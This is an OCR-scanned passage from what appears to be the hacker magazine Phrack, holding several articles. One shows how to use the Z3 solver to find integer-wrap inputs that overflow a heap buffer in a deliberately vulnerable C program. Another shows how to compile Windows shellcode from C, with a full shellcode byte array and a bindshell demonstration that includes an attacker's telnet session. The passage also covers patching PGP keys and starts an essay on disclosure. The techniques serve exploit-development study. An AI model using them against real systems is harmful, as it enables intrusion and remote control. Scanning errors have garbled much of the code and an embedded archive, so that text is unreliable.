runtime on i7 17m 33m 55m 71m 110m 
runtime on EC2 6m 12m 20m 26m 40m 
runtime on GPU 1s 2s 3s 4s 6s 


Soe [ 3.3 - The patch 
Now we have to patch the key. patch.py, incredibly, does exactly so. 


First, export the secret key for which you had the match 


S gpg no-default-keyring --secret-keyring ./secpool.gpg \ 
—-keyring ./pubpool.gpg xport-secret-—keys OLDKEYID > privkey.gpg 


Then run patch.py on it, passing it the "RESULT timestamp" from crash.py: 


S python3 patch.py privkey.gpg TIMESTAMP > resultkey.gpg 


Finally, force gpg to import the key even if the (invalid) bounding 
signature has been stripped: 


S gpg allow-non-selfsigned-uid --import resultkey.gpg 


And restore the bounding signature by creating a new uid: 


$ gpg --edit-key NEWKEYID 


gpg> adduid 
gpg> uid 1 
gpg> deluid 
gpg> trust 
gpg> check 
gpg> save 


Note: don’t create the new uid as an exact copy of the old, otherwise 
deluid will delete both of them from the secret key it’s a GnuPG bug. 


Done! You now have your new shiny PGP key with a personal key ID. Export 
it to your main GnuPG env or whatever. 


---[ 4 —- Conclusion 


Have fun, there are still many interesting uncatched key IDs out there: 
Ox11111111, Oxabaddeed, Oxaaaaaaaa, Oxg0Odldea, 0x27182818, 0x14142135... 
Please just leave 0x31415926, 0x42424242 and 0x13371337 for me ;) and 
don’t (publicly) duplicate other people’s keys. 


Finally, I know what you are searching for: the option is --~keyid-format 
long ;) 
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[ How I Cheat at Maths - Z3 101 ] 
[ by chown ] 
--[{ Introduction 


Welcome reader. I am writing this small text because it has recently come 
to my attention that a lot of people significantly smarter than me are 
intimidated by the mention of Z3 and solvers in general, and avoid using 
them. I think it is a common mentality that 23 requires some kind of maths 
degree as a prerequisite for its use, however for me it is the complete 
opposite. 


Hopefully by the end of this small guide you will see that 23 can provide a 
trivial platform with which you can avoid doing most of the complex math 
work which is associated with exploit development and revers ngineering. 


--[ What is 23? 
Z3 is an SMT (satisfiability modulo theories) solver written by Microsoft 
Research. It is cross platform, (Windows/Linux/Mac OS X) and free (MIT 


License). 


Internally at Microsoft it is used for program analysis and verification. 


Z3 exposes either a C or Python based API, with a rich set of features. In 
this paper we will only scratch the surface of the Python API. I feel this 
is the simplest way to jump right in and instantly get value from Z3 with 

almost no learning curve required. There is a lot of documentation on the 

web if you wish to venture deeper into the functionality of 23. 


--[ Installing Z3 
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Installing Z3 is a simple process, and as i mentioned, can be done on most 
operating systems. The source code to Z3 is available from the Z3 Github 
page (2). 


The build instructions for Mac OS X are simply as follows: 


CXX=clang++ CC=clang python scripts/mk_make.py 
cd build 
make 

sudo make install 


For Ubuntu it is even simpler: 
sudo apt-get install python-z3 


Once this is done, the Python module can be used by simply using "import 
z3" from within Python. 


--[{ Introduction to 23 


To whet your appetite, we will first explore a simple maths example 
unrelated to exploit development. The following small puzzle was being 
passed around social media sites: 


A+B = 240 
C+D = 500 
D-B+C = 455 
AtC = 215 


What answer for D? 


While this can easily be solved with math, it is much easier to make Z3 do 
all the work for us. 


The first step in our solver is to import z3 and declare some variables for 
use in the solver. The following code creates 4 Int() type variables. 
A,B,C,D and initiates the solver class. 


Note: The string passed to each variable is used to label the results when 
the model is printed at the end. 


#!/usr/bin/env python 


from z3 import * 


+ Declare our variables 


A = Int(’A’) 
B = Int(’B’) 
CS Tne (es ) 
D-= Tnt-(" DD”) 
s = Solver () 


Now that we have our variables declared, we must define some simple 
constraints for the solver. Basically we need to take each line in the 
above problem and convert it to an expression using our variables. 


# Add the constraints 
s.add(A + B == 240) # A+B = 240 
s.add(C + D == 500) # C+D = 9:00 
s.add(D-B+C == 455) # D-B+tC = 455 
s.add(A+C == 215) # AtC = 215 
The final steps are to use the check() function to solve the problem and 


print the model at the end. 


print "[+] Solving..." 
s.check () 
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ttt = s.model () 

print "[MODEL 1" 
print ttt 

print " [ ] " 


Running this code provides the following output: 


S python facebook.py 

+] Solving... 

MODEL ] 
C = 20, B = 45, D = 480, A = 195] 


] 


As you can see, it only took a couple of minutes to code a solver for this 
problem and we got the answer D=480. Congratulations, if you followed this 
far you can now cheat at facebook and impress your friends!!! 


I have included the sample code for this (facebook.py) in the appendix. 
--[ Z3 and Exploit dev 


As I’m sure you can now imagine there are a billion small math problems 
like this in exploit development. Some typical examples for me are: 


Solving input values to control allocation/copy sizes. 
Root causing a fuzz crash, one constraint for each cmp instruction, then 
control register contents as needed. 
* Finding input values which constrain to certain criteria. 
etc. 


To make this more clear, I have written a small vulnerable program with 
which we can look at the exploitation process and how 23 can help us. 


----[ Vulnerabl xampl 


The following example code has a clearly visible integer wrap 
vulnerability. We can obviously utilize this to cause a heap overflow into 
the chunk pointed to by sstr. 


Have a quick read over the code below, and afterwards I will explain the 
challenges involved in solving this problem. 


1 include <stdio.h> 

2 include <stdlib.h> 

3 include <string.h> 

4 

5 define HEADER " [ ASCII 
DIAGRAM \n" 

6 define HDRLEN strlen (HEADER) 


char *copyandupdate(char *dst,char *src, unsigned int size) 


memcpy (dst,src,size); 
dst += size; 
return dst; 


int main(int argc, char *argv[]) 


unsigned int width,height,i; 
char *sstr,*fstr; 


DADO PWNF OO OW ~] 
aw 


19 

20 if(arge != 3) { 

21 printf ("usage: %s <width> <height>\n",argv[0]); 
22 exit (-1); 

23 } 

24 

25 width = strtoul(argv[1],NULL, 0); 
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26 height = strtoul(argv[2],NULL, 0); 

27 

28 

29 printf("[+] Using width: %u\n",width); 

30 printf("[+] Using height: %u\n",height) ; 

31 

32 if (width < 5) { 

33 printf ("error: Width too small\n"); 

34 exit(l1); 

35 } 

36 

37 if((width * height + HDRLEN) > Ox3fffffff) { 

38 printf ("error: Table too large (%u) \n",width * 
height) ; 

39 exit (1)¢ 

40 } 

41 

42 printf("{+] Allocating buffer sized: %u\n", width * height 
+ HDRLEN) ; 

43 sstr = fstr = malloc(width * height + HDRLEN); 

44 if(!fstr) { 

45 printf ("error: Out of Memory!\n"); 

46 exit(l1); 

47 } 

48 

49 printf("{+] Writing header to buffer (%u bytes) \n",HDRLEN) ; 

50 fstr = copyandupdate (fstr,HEADER, HDRLEN) ; 

51 for(i = 0; i < height ; i++ ) 

52 { 

53 char *m = malloc(width); 

54 if(!m) { 

55 printf ("error: Out of Memory!\n"); 

56 break; 

57 } 

58 memset (m,’X’,width); 

59 m[width-3] = ’\r’'; 

60 m[width-2] = ’\n’; 

61 m[width-1] = ’\x00’; 

62 fstr = copyandupdate (fstr,m,width-1); 

63 free (m); 

64 } 

65 

66 printf (sstr); 

67 

68 } 

69 


As I’m sure you saw, this code takes a width and height parameter from the 
command line and creates an ascii table containing the appropriate number 
of X’s. 


Here is some sample output from a successful run: 


./asciigrid 30 10 
Using width: 30 
Using height: 10 
Allocating buffer sized: 413 


$ 

[+ 
[4 
[4 
[4 Writing header to buffer (113 bytes) 


[ ASCII DIAGRAM 


] 
XXXXXXXXXXXXXXXXXXXXXXXXXXX 
XXXXXXXXXXXXXXXXXXXXXXXXXXX 
XXXXXXXXXXXXXXXXXXXXXXXXXXX 
XXXXXXXXXXXXXXXXXXXXXXXXXXX 
XXXXXXXXXXXXXXXXXXXXXXXXXXX 
XXXXXXXXXXXXXXXXXXXXXXXXXXX 
XXXXXXXXXXXXXXXXXXXXXXXXXXX 
XXXXXXXXXXXXXXXXXXXXXXXXXXX 


4.txt Wed Apr 26 09:43:48 2017 36 


XXXXXXXXXXXXXXXXXXXXXXXXXXX 
XXXXXXXXXXXXXXXXXXXXXXXXXXX 


The major vulnerability in this source code occurs between lines 37 and 

43 in the source. As you can see below, the code takes the width and height 
parameters and checks to make sure that the product of width * height plus 
the length of the header is < 0x40000000. Next it allocates a buffer based 
on these values. However, if width and height is large enough to create an 
integer wrap, the resulting buffer allocation will not correlate to the 

width and height values themselves, creating potential for a heap overflow. 


Sa if((width * height + HDRLEN) > Ox3fffffff) { 
38 printf ("error: Table too large (%u) \n",width * 


39 exit (1); 
40 } 


42 printf("({+] Allocating buffer sized: %u\n", width * height 
+ HDRLEN) ; 
43 sstr = fstr = malloc(width * height + HDRLEN); 


Once this allocation is performed, the program begins by writing the HEADER 
field into the buffer. Depending on the size of the buffer this will either 
be inside or outside the allocated buffer. Due to the wrapping allocation 
size calculation, there is no guarantee at this stage that a large enough 
allocation was performed to house the HEADER field. 


Finally at line 51, a copy loop is performed. For each of the lines in 
height an allocation of "width" bytes is performed. This is then populated 
with a line of X’s, and copied into the buffer. Obviously if our values are 
large enough to wrap, this loop will end up writing all the way out of 
bounds of our buffer, but it also has no way to stop copying, therefore it 
will write all the way until it hits an unmapped page, causing program 
termination. 


51 for(i = 0; i < height ; i++ ) 
52 { 
53 char *m = malloc(width); 
54 if(!m) { 
55 printf ("error: Out of Memory!\n"); 
56 break; 
oi } 
58 memset (m,’X’,width); 
59 m[width-3] = /\r’; 
60 m[width-2] = ’\n'; 
61 m[width-1] = ’\x00’; 
62 fstr = copyandupdate (fstr,m,width-1); 
63 free (m); 
64 } 
Luckily for us (;)) there does exist a clean way out of this loop. If the 


malloc allocation of width bytes fails, the loop is exited, and the program 
continues. 


This means, if we can wrap the allocation while having a large enough width 
to force the allocation to fail, we are able to perform our overflow 
(copying the header out of bounds) without program termination occurring. 
(This gives us an opportunity to utilize our overflow). The question is, 
what input values will allow all this to happen? 


---[ Solving 


As you can imagine, the next step in our process is to write a simple 
solver to calculate these values for us. Once again the process is very 
simple 


We begin by importing our library: 
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#!/usr/bin/env python 


ak 
2 
3 from z3 import * 
4 


Next we need to declare the variables used by our sample program. The first 
variables which we need are the width and height variables. In the previous 
xample we used Int() type variables. However, in this case, we use a 
BitVec() type. The main difference between these two types in Z3 is the 
ability to perform binary operations on the BitVec. Also we are able to 
specify the exact size of the variable, this lets us more easily simulate 
integer wraps. In this example I am targeting a 32-bit platform, therefore 
I use the size 32 for each variable. We also need a variable to hold the 
size of the header, this is not strictly necessary but provides a more 
clear output in my opinion. 


5 width = BitVec(’width’, 32) 
6 height = BitVec(’height’, 32) 
: 
8 


headersize = BitVec(’headersize’, 32) 


Next, I create a convenience variable allocsize. This is used to hold the 
result of the calculation. Instead of this variable we could simple write 
width * height + headersiz ach time, however if we did this, the size of 
the allocation would not be visible in the printed model. Since we care 
about this size, it makes sense to use a convenience variable. 


9 allocsize = BitVec(’allocsize’,32) 
10 
11 s = Solver() 
12 


Now that we’ve declared our variables and initialized the Solver the next 
step is to add constraints to our model. The first constraint in this 
program is simply declaring the headersize value. This is done with the 
following line: 


13 s.add(headersize == 113) 


The next constraint we can add, is to make sure that width by itself is 
enough to cause the allocation to fail, an easy way to do this is to make 
sure it is above 0xf0000000, since this would be large enough for a 32-bit 
process to fail. You may notice that we used a function "UGT" for this, 
rather than the > operator. The reason for this is that the > operator by 
default will perform a signed comparison. UGT (unsigned greater than) will 
provide us with the unsigned functionality we need. As you can imagine the 
counter function to this ULT() will perform an unsigned less than 
comparison. Reading the help for the module will show many other useful 
functions similar to this. 


14 s.add(UGT (width, 0x£0000000) ) For malloc fail 


Obviously, we need a constraint to calculate allocsize. This is simply a 
case of performing the same calculation directly from the source code. 


15 s.add(allocsize == width * height + headersize) 


We then make sure that the allocsize is less than the headersize, so that 
an overflow occurs. 


16 s.add(ULT(allocsize & Oxffffffff,headersize) ) 
17 


Finally, we solve and print the model... 
20 print. "[+]. Selving.:." 


21 s.check () 
22 ttt = s.model () 
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23 print "[MODEL ale 
24 print ttt 
25 print "T y" 


If we run this solver, the following values are generated: 


S python solver.py 

[+] Solving... 

[MODEL ] 
[height = 2318056819, 

width = 4192030789, 

allocsize = 112, 

headersize = 113] 


[ ] 


Inputting this into the target program confirms our technique, an 
allocation of 112 bytes is performed and then a header (113) bytes is 
written to it. Finally an allocation fails, and the loop is exited, then 
the buffer is printf’ed. (in a vulnerable way... ;) ) 


./asciigrid 4192030789 2318056819 

t+] Using width: 4192030789 

+] Using height: 2318056819 

t+] Allocating buffer sized: 112 

[+] Writing header to buffer (113 bytes) 

asciigrid(98654,0xa33e5000) malloc: *** mach_vm_map (size=4192034816) failed 
(error code=3) 

**x* error: can’t allocate region 

*** set a breakpoint in malloc_error_break to debug 

error: Out of Memory! 


$ 

[4 
[4 
[4 


[ ASCII DIAGRAM 


] 


Finding a way to leverage this overflow is outside of the scope of this 
paper, however I have personally leveraged a very similar situation ina 
real life application. 


---[ Adding constraints to enumerate possibilities? 


In the abov xample, the solver gave us a situation where the buffer was 
sized 1 byte smaller than the copy, however, in real life, most allocators 
naturally align sizes before returning a chunk to the program. This means 
that in the abov xample, no overflow would actually take place. Also with 
the above situation, we often want to enumerate the QUANTUM sizes which we 
can utilize on the heap, so we can look for overflow targets etc. 


Z3 is not really designed for this, solving all permutations, and is more 
designed for solving a single one. However, we can easily cheat by adding 
additional constraints to the program. A simple example of this, since we 
know that a buffer size of 112 is possible, we simply add a constraint 
making sure that allocsize is less than that. 


s.add(ULT(allocsize & Oxffffffff,112) ) 


Solving again, we can see that an allocsize of 98 is possible. Since this 
is code we can easily wrap this in a loop to enumerate all possibilities. 


[+] Solving... 

[MODEL ] 
[allocsize = 98, 

height = 732446463, 

width = 4167741711, 

headersize = 113] 


[ ] 


-—-[ Conclusion 
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Hopefully this small guide is useful to you. I find myself using these 
small solvers constantly during exploit dev. Some other areas that these 
help with are, during auditing - to confirm findings, during exploitation -— 
to calculate values on the fly. I’m sure once you start playing with this 
library you will do the same. 


[ References 


1. https://z3.codeplex.com/ - Z3 Home Page 
2. https://github.com/2Z3Prover/z3 - Z3 github page 


—-[ Appendix: Source code 


begin 644 z3_math_srec.tgz 
M’ XL (*&"K858***U7*T_; 2! #FUUC*_S" *>K&) $_R(@TO (4DBX’ A*TSH7K2327 
M’ 'N=6/@1V1M*./5_O] E=.WSH%) #22* ?ZS\2>\; 2?2SV-?L/IA?0YM.OJ:) L[_U 
MBZ!IVHSE*7*°VQO5, S6N*9*72C; 6JF85G& ‘6EBZV=*T+; !*%54!%3S%S) J) QA*1,+X 
M9SRD>=Y/OF=Yt+) [_SSP4QM] .’=\?) [[;=-; J *‘_NCW6H] ._Y&VS*+X]_"\;<L 
MS=@"; :U1/ (/??/QW_<@) 9BZ!HY22Z?MR<’ SLKJL*?/=8E?C1F.FG7) 9X?S?CK 
MM#<XO82=ONMO *[U/_;,S&) SUWE_V+F#XAK8+? (EVECS, +L] //P!&%Y! (SASI 
MDN1, [ ‘3VG’ @ZMR-W-G5M2F 2A<U. JBC><*BK, HM0?1\0%/2Z*0*@]$D?Z5*BS) 
MG>E<9ES&XOJ.5S$9ZEU.ORDA=) 9$@,7.] SV2F (’0]B.90=C) & (T+/_A*=S/D 
=E>\??-=.ESGQ!]/J.JICP2PLSS7=\_"W(TD5WY. 9+=CN@JD *‘FJA, <1RH) *_, 
M4GM, #NS="D?<TCS<"50’ V#\J=ZH-6=05<N] 3N: &S=XRSPMD *7=9I-) X%,N?J 
MO_7#] ?FYJC&:,/288A0H:"</Y*8*A.L4) X?("S.:LOBXP (S]R!/F<Z*0E"Q; 
MS=T16*O9DB2) DT/XS+_2. (8TM(, *‘FR\S7"2 (5C (S>YDKJ&<318%8CT.Y-3%!) 
MSU?V*"#<18! 9SY#?S118) +0P*%83?8J*] ((@=F[) L1S// (PF?-6Z>,SP7’ YIB 
MSP" (WA, /EF; L/) M/AZ>[S<A/90-Q1B’ VX‘) WN62*_71_%>/*G/A4#) 'M8M‘T 
MSL/’ ; H#1G) ) 48?SOO6=AKBXUIE3%8BQO2XT3VD:M! !WP<XBP7%.IU4*0*"U*L 
M@? ! LXCQHEF<HDGQ=EI510NQ; ]O08=_W%-IX3*H5K[I[:<G) 7PAK\WS"’ ZK’ U) 
M:D6E (931BE (7RGM-X*KG.R! 4LP; <D9<0 (H>/* IR-M=* 12&P#V>C*7ZS_GNVO 
41S?-J?SM? I XH? YK[0-#U’ *M9;0/+%[_3:VL_YO*[0; *+SWV1WZT3Z ([F, [I 
) (ZJ4E7RDCBS$ !Q/\<!HG%/: 8KBKUK< (:?152N] 61*53K)11,F]7.1S21!+@v8 
M5) 52E#_%SP1U) 9"SW; =>5> [B#H94NE&"U- ‘=B%70TS6SU".>?TD3-@’ SL3G’ Y] 
MP#DHYYQ! XZ3>9YR697%. IF #RPI=@&#IC"%S] ] X4NW6S1\*0+?_5B@[) 33; .2ZP 
MULZ$.+<L;SIY, 6R&EL4L"ILC; 7’ P<G) Z_\M@RW, G; H; FEB; ><?) B) ]8Q_<?U? 


ole 


MV+=XF *K (>BPO\=+ZUZSL_J?C!J"9; /WC7 [G*-PSLKH=29>PXT *‘A—*PI70&CS$ 
M2W&S1:GSQE!<_RG?GM==_5]<_[JNMQ?KWS1X_3>L\0Z_$;RI_HO+10=.?/HW 
M<>0:EVLUF *: 6PL5=, ?\J%,O0/ ["+!+C\KE%SQ94SFK*O’ 3_B/: 0K=@/7V: */KH 


M@JUZ; 20 [E*OV5NS &HVKV7S3M%P3/ ‘GW&2W3# ‘L_T@YO>BZ/YX1U0Z63HXORHT 
M*@, OE] G=TE, +; ! [K+KS81-<-P?TMSROE2I0H4:) $B1 (E2I0H4:) $B1 (EUH?_ 
) *+AIM*(***** 


end 
J=[ 0x06 ] =[ Shellcode the better way, or 
how to just use your compiler - fishstiqz ] 
| 
| =[ Shellcode the better way, or how to just use your compiler ]----= 
| 
| [ by fishstiqz ] 
| 
—-[ Introduction 


Back in the prehistoric days of memory corruption bugs and exploitation, 
exploit developers used our primitive tools to construct rudimentary 
payloads in assembly language. Those days are long past. In this small 
paper I will investigate some methods for anyone still stuck in the good 
ol’ days of yore using their assembler. 


--[ Prerequisites 


This writeup uses the MinGW compiler to demonstrate generating shellcode 
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from C for running on Windows systems. The same concepts should apply to 
other compilers (such as MSVC) with some tweaking. The python scripts also 
use the ‘’pefile’ library from erocarrera in order to extract the compiled 
code. 


To quickly get started compiling on a linux system, do something like: 


$ sudo apt-get install gcc-mingw-w64 
$ pip install pefile 


-—-[ Concepts 


There is nothing special about shellcode as opposed to any other compiled 
code. A shellcode is simply some piece of machine code that typically 
exhibits the following properties: 


* Position-independenc 
* Entry point at first byte 
* Bootstrap for subsequent execution / further access 


Position-independence is basically the only real hurdle faced when 
building shellcode with a C compiler. Strings and imported functions will 
need to be handled inline. All code will need to placed in one section 

and will need to be ordered appropriately in order to ensur verything is 
appropriately extracted and relative jumps are correct. 


This paper will not deal with creating shellcodes that are intended to 
bypass filters. In the extremely rare event that a filter is necessary 
(when is the last time you actually needed one in your browser exploit?) 
it is best to write an encoder and decoder. 


--[{ Inlining strings 


Inlining strings is quite easily accomplished with inline assembly as in 
the following macro: 


#define INLINE_STR(name, str) \ 


const char * name; \ 
asm ( \ 
"call 1f\n" \ 
W2aSGI Ze \ sta Tn ON 
"T:\n" \ 
"bop %0\n" \ 
"=r" (name) x 


i 
This is how it would be used: 


INLINE _STR(kernel32, "kernel32"); 
PVOID pKernel32 = scGetModuleBase (kernel32) ; 


Unfortunately MinGW doesn’t have a way to inline a unicode string nor does 
MSVC have inline assembly for x64 so a different method must be employed 
when these are being used. 


One potential way to handle unicode strings would be to generate an inline 
sequence of .db bytes as a pre-compile step. For MSVC, writing strings one 
character at a time to a stack buffer also works but is quite ugly. 


--[ Ordering functions 


The Makefile included with the source code makes use of the 

fno-toplevel-reorder switch which causes code to be generated in the same 
order they appear in the source files. The Makefile also uses 
-falign-functions=1 to reduce padding between functions and generate 
smaller code. 


Each function is also marked with an attribute forcing them to be 


4.txt Wed Apr 26 09:43:48 2017 41 


placed into a custom section. 
#define SCFUNC __attribute__((section("sccode") )) 


This custom section makes extraction of the final code very simple 


as all shellcode functions will be placed into the "sccode" section 


and ordered appropriately. 


In MSVC an order file can be specified with /ORDER to achieve the 
same effect. 


--[ Example shellcode 


The following is a quick GetProcAddress implementation in C which 
will be used for th xamples her 


SCFUNC PVOID scGetModuleBase(const char *moduleName) 
{ 

PPEB pPeb; 

PLIST_ENTRY head, entry; 

PLDR_DATA_ TABLE ENTRY module; 


io 


if defined(_M_IX86) 
pPeb = (PPEB) __readfsdword(0x30); 
elif defined(_M_X64) 
3 


pPeb = (P EB) __readgsqword (0x60) ; 
endif 


head = &pPeb->Ldr->InLoadOrderModuleList; 
ntry = head->Flink; 


while (entry != head) 
{ 


module = CONTAINING_RECORD (entry, LDR_DATA_TABLE_ENTRY, 


InLoadOrderModuleList) ; 
if (scW2Anicmp (module->BaseD1l1lName.Buffer, moduleName, 
(moduleName)) == 0) 

return module->D11Base; 
ntry = entry->Flink; 


} 


return NULL; 


scStrlen 


SCFUNC PVOID scGetProcAddr(PVOID modBase, const char *exportName) 


{ 
LPVOID pFunc = NULL; 

PBYTE pMod = (PBYTE)modBase; 

PIMAGE_NT_HEADERS pNt = GET_NT_HEADERS (pMod) ; 
PIMAGE_DATA_DIRECTORY pDir = &GET_DIRECTORY (pNt, 
IMAGE_DIRECTORY_ENTRY_EXPORT) ; 
PIMAGE_EXPORT_DIRECTORY pExportDir; 
WORD *pOrdinal; 

DWORD *pName; 

DWORD *pFuncs; 

DWORD i; 


// get the export directory 
pExportDir = (PIMAGE_EXPORT_DIRECTORY) (pMod + pDir-> 
VirtualAddress) ; 


// sanity check the export directory 
if (pDir->Size == | | pExportDir—->NumberOfFunctions == 
pExportDir-—>NumberOfNames == 0) 

return NULL; 


// iterate th xported names 
pName = (DWORD *) (pMod + pExportDir->AddressOfNames) ; 
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pOrdinal = (WORD *) (pMod + pExportDir->AddressOfNameOrdinals) ; 
// }i EMET! 

pFuncs = (DWORD *) (pMod + pExportDir-—>AddressOfFunctions) ; 

for (i = 0; i < pExportDir->NumberOfNames; i++, pNamet+t, 
pOrdinal+t+) 


{ 


if (scStrcmp(exportName, (const char *) (pMod + *pName)) == 0) 


{ 
// found the name, get the function 
pFunc = pMod + pFuncs[*pOrdinal]; 
break; 


} 


return pFunc; 


Here you can see a quick calc-pop demonstration using the above code: 


include <stdio.h> 
include <windows.h> 


include "common.h" 
include "pe.h" 


typedef UINT (WINAPI * WinExec_t) (LPCSTR lpCmdLine, UINT uCmdShow) ; 


SCFUNC void scMain(void) 
{ 


INLINE _STR(kernel32, "kernel32"); 
INLINE_STR(winexec, "WinExec"); 
INLINE _STR(calc, "calc"); 


PVOID pKernel32 = scGetModuleBase (kernel32) ; 
WinExec_t pWinExec = (WinExec_t) scGetProcAddr (pKernel32, 
if (pWinExec != NULL) 

pWinExec(calc, 0); 


int main(int argc, char* argv[]) 
{ 

scMain(); 

return 0; 


} 


winexec); 


Thats all there is to the code. Notice that all shellcode functions 


are marked with the SCFUNC attribute and all strings are inlined. 


Now to compile and extract the shellcode into a nice header: 


S$ 1686-w64-mingw32-gcc -fno-toplevel-reorder -—falign-functions=1 \ 


-Os -o runcalc.exe runcalc.c common.c pe.c 

S python extract.py runcalc.exe 

// 460 bytes 

unsigned char shellcode[460] = { 

0x55,0x89, 0OxE5, 0x56, 0x53,0x83, OxEC, 0x10, 0xE8,0x09, 0x00,0x00, 
0x00,0x6B, 0x65,0x72, Ox6E, 0x65, 0x6C, 0x33, 0x32,0x00,0x58,0x89, 
0x04,0x24,0xE8,0xD1,0x00,0x00, 0x00, 0xE8, 0x08,0x00,0x00,0x00, 
0x57,0x69, 0x6E, 0x45, 0x78, 0x65,0x63, 0x00, 0x5E, 0x89, 0x74,0x24, 
0x04, 0xE8,0x05,0x00, 0x00,0x00,0x63,0x61,0x6C, 0x63, 0x00,0x5B, 
0x89,0x04, 0x24, 0OxE8, OxFD, 0x00, 0x00,0x00,0x85,0xC0, 0x74, 0x0F, 
OxC7,0x44,0x24,0x04, 0x00,0x00, 0x00,0x00, 0x89, 0x1C, 0x24, OxFF, 
0xDO,0x50,0x50,0x8D, 0x65, OxF8, 0x5B, 0x5E, 0x5D, 0xC3, 0x90,0x90, 
0x55,0x31,0xC0,0x89, 0OxE5,0x57,0x56,0x53,0x51,0x83,0x7D,0x10, 
0x00,0x74,0x44,0x31,0xD2,0x8B, 0x45,0x08, 0x66, 0x8B, 0x0C, 0x50, 
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0x8B, 0x45, 0x0C, 0x8D, 0x79, OxBF, OxOF, OxBE, 0Ox1C, 0x10, OxOF, 0xB7, 
O0xC1,0x66, 0x83, OxFF, 0x19, 0x8D, 0x70,0x20, Ox0OF, 0x46, 0xC6,0x89, 
0x45,0xF0,0x8D, 0x73, OxBF,0x89, 0OxF0, 0x3C, 0x19, 0x8B, 0x45, OxFO, 
0x8D,0x7B, 0x20, OxOF, 0x46, OxDF, 0x29, 0xD8,0x75,0x0D, 0x66, 0x85, 
0xC9,0x74,0x08,0x42, 0x39,0x55, 0x10,0x75, 0xC0, 0x31, 0xC0O,0x5A, 
0x5B, Ox5E, 0x5F,0x5D, 0xC3,0x55, 0x31,0xD2, 0x89, 0xE5, 0x53,0x8B, 
0x45,0x08, 0x8B, 0x5D, 0x0C, Ox8A, 0x0C, 0x10, Ox0OF, OxBE, 0x1C,0x13, 
0x42,0x0F, 0OxBE, 0xC1,0x29,0xD8,0x75,0x04,0x84, 0xC9, 0x75, 0xE7, 
0x5B,0x5D, 0xC3,0x55, 0x89, 0OxE5, 0x8B, 0x55, 0x08,0x89, 0xD0,0x80, 
0x38,0x00,0x74,0x03, 0x40, OxEB, 0xF8,0x29, 0xD0,0x5D, 0xC3,0x90, 
0x55,0x89, 0OxE5,0x57,0x56,0x53, 0x83, 0xEC, 0x1C, 0x8B, 0x75,0x08, 
0x64, 0xA1,0x30,0x00, 0x00,0x00, 0x8B, 0x40, 0x0C, 0x8B, 0x58,0x0C, 
0x8D,0x78,0x0C, 0x39, OxFB, 0x74, 0x28,0x89,0x34,0x24, 0xE8,0xC4, 
OxFF, OxFF, OxFF, 0x8B, 0x53, 0x30,0x89,0x74,0x24,0x04,0x89,0x14, 
0x24,0x89, 0x44, 0x24, 0x08, 0xE8, 0x36, OxFF, OxFF, OxFF,0x85,0xCO, 
0x75,0x05, 0x8B, 0x43, 0x18, 0OxEB, 0x06, 0x8B, 0x1B, 0OXEB, 0xD4, 0x31, 
0xC0,0x83,0xC4,0x1C, 0x5B, 0x5E, Ox5F, 0x5D, 0xC3,0x55, 0x89, 0xE5, 
0x57,0x56,0x53,0x83, OxEC, 0x2C, 0x8B, 0x5D, 0x08, 0x8B, 0x43,0x3C, 
0x01,0xD8,0x8B, 0x70,0x78, 0x01, 0xDE, 0x83,0x78,0x7C, 0x00,0x75, 
0x04,0x31,0xC0, OxEB, 0x63, 0x83,0x7E, 0x14,0x00, 0x74, OxF6, 0x83, 
Ox7E,0x18,0x00,0x74, OxF0O, 0x8B, 0x46, 0x20, 0x31, 0xD2,0x8B, 0x4E, 
Ox1C,0x01,0xD8, 0x89, 0x45, 0xE4, 0x8B, 0x46, 0x24, 0x01, 0xD8,0x89, 
0x45, OxEO, 0x8D, 0x3C, 0x12,0x03,0x7D, 0xEO, 0x3B, 0x56,0x18,0x73, 
O0xD0,0x89,0x4D, 0xD8, 0x8B, 0x4D, 0xE4, 0x89, 0x55, 0xDC, 0x8B, 0x04, 
0x91,0x01,0xD8,0x89,0x44,0x24, 0x04, 0x8B, 0x45, 0x0C, 0x89,0x04, 
0x24,0xE8, 0xOF, OxFF, OxFF, OxFF,0x8B, 0x55, 0xDC, 0x8B, 0x4D, 0xD8, 
0x85,0xC0, 0x75, 0x0D, 0Ox0OF, 0xB7, 0x07,0x8D, 0x04,0x83,0x03,0x1C, 
0x08,0x89, 0xD8, OxEB, 0x03, 0x42, OxEB, 0xBE, 0x83, 0xC4, 0x2C, 0x5B, 
Ox5E,0x5F,0x5D,0xC3 

}; 


And now to demonstrate running the test harness: 


S$ python extract.py --testharness runcalc.exe > runcalc_testharness.c 
S$ i1686-w64-mingw32-gcc -fno-toplevel-reorder -—falign-functions=1 \ 
-Os -o runcalc_testharness.exe runcalc_testharness.c 


On the windows machine: 


C:\phrack\srce>runcalc_testharness.exe 
jumping to shellcode @ 00020000 


done 

C:\phrack\srce>tasklist | findstr calc 

calc.exe 5720 Console 1 
14,244 K 


--[ Bindshell example 


The following is a demonstration of a quick windows bindshell. Consult the 
source code for the implementation. 


On the linux compiler: 


S$ 1686-w64-mingw32-gcc -fno-toplevel-reorder -—falign-functions=1 \ 
-Os -o bindshell.exe bindshell.c common.c pe.c 

S python extract.py --testharness bindshell.exe > \ 
bindshell_testharness.c 

S 1686-w64-mingw32-gcec -fno-toplevel-reorder -—falign-functions=1 \ 
-Os -o bindshell_testharness.exe bindshell_testharness.c 


On the windows machine: 


C:\phrack\src>bindshell_testharness.exe 
jumping to shellcode @ 00020000 


Attacker: 


$ telnet 192.168.204.144 3333 
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Trying 192.168.204.144... 

Connected to 192.168.204.144. 

Escape character is ’%*]’. 

Microsoft Windows [Version 10.0.10240] 

(c) 2015 Microsoft Corporation. All rights reserved. 


C:\phrack\sre>ver 
ver 


Microsoft Windows [Version 10.0.10240] 


C:\phrack\src>whoami 
whoami 
winl0-vm\user 


C:\phrack\srce>exit 
exit 
Connection closed by foreign host. 


-—-[ Conclusion 


Hopefully this humble paper showed that its super easy to generate 
shellcode with a C compiler and that you don’t have to use an assembler. 
Obviously assembly language development and understanding are still 
essential skills for a modern exploit developer. However, using the 
techniques presented in this paper should limit the times when 
hand-written assembly code is required to a few specific cases. 
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When did all that get started..? Quite a while ago, being a hacker was not 
something you’d have hawked around. Finding bugs, practicing offensive 
techniques, writing cool exploits and last but not least pwning boxes was 
an underground thing you didn’t talk about very much. And it still is! The 
hacking underground has not magically disappeared; but now there’s also a 
very publicly visible hacking scene. Besides 31337 underground h4xx0Ors, we 
now have serious security researchers and consultants, who aim to improve 
the world by finding bugs and disclosing them in a responsible manner. And 
of course the idea of improving something is not a negative thing in 
itself.. Wouldn’t you agree? 


Things are rarely as easy as they seem, so let’s try to explore the 
situation. What happens nowadays can be described by the following example: 
researcher X finds a bug in some widely-used product. Now X communicates 
